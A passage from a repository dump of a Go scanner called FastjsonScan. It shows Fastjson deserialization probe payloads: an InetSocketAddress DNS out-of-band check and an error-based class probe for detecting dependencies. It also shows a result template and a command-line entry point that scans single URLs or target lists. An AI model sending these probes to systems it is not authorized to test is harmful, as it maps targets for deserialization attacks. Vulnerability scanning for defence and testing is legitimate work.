"message":{ 68 | "@type":"java.net.InetSocketAddress"{"address":,"val":"83_.{{.Variables.DNS}}"} 69 | } 70 | } 71 | ] 72 | ` 73 | 74 | /*----------------------------------------------------------------------------------------------*/ 75 | 76 | /************************************************ 77 | *** 依赖库检测 *** 78 | *************************************************/ 79 | 80 | /** 81 | *** 报错探测 82 | **/ 83 | 84 | var DEPENDENCY_DETECT_BY_ERR = ` 85 | { 86 | "@type":"java.lang.Character"{ 87 | "@type":"java.lang.Class", 88 | "val":"{{.Variables.Dependency}}" 89 | } 90 | ` 91 | 92 | var RESULT_OUTPUT = `Scan Result 93 | Target: {{.Variables.Url}} 94 | [+] Fastjson 版本: {{.Variables.Version}} 95 | [+] 网络状态判断: {{.Variables.Netout}} 96 | [+] AutoType 状态: {{.Variables.Autotype}} 97 | [+] 依赖库信息: 98 | {{range .Dependency}} 99 | {{.}} 100 | {{end}} 101 | 102 | <----------------------------------------------> 103 | ` -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module FastjsonScan 2 | 3 | go 1.18 4 | -------------------------------------------------------------------------------- /img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/a1phaboy/FastjsonScan/841ee13dbd074e75537b4e86c4ad4a8c42640384/img.png -------------------------------------------------------------------------------- /img_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/a1phaboy/FastjsonScan/841ee13dbd074e75537b4e86c4ad4a8c42640384/img_1.png -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "FastjsonScan/Utils" 5 | "FastjsonScan/console" 6 | "flag" 7 | ) 8 | 9 | 10 | // ./FastjsonScan -u http://test.a1phaboy.tech/api/post -o result.txt 11 | // ./FastjsonScan -f targets.txt 12 | func main() { 13 | Console.Banner() 14 | var options Utils.Option 15 | flag.StringVar(&options.Url,"u","","url") 16 | flag.StringVar(&options.Targets,"f","","targets file . for example: -f targets.txt") 17 | flag.StringVar(&options.Result,"o","result.txt","results output file. for example: -o result.txt") 18 | flag.Parse() 19 | if options.Url == "" && options.Targets == ""{ 20 | Console.Opts() 21 | return 22 | } 23 | Console.Start(options) 24 | } 25 | --------------------------------------------------------------------------------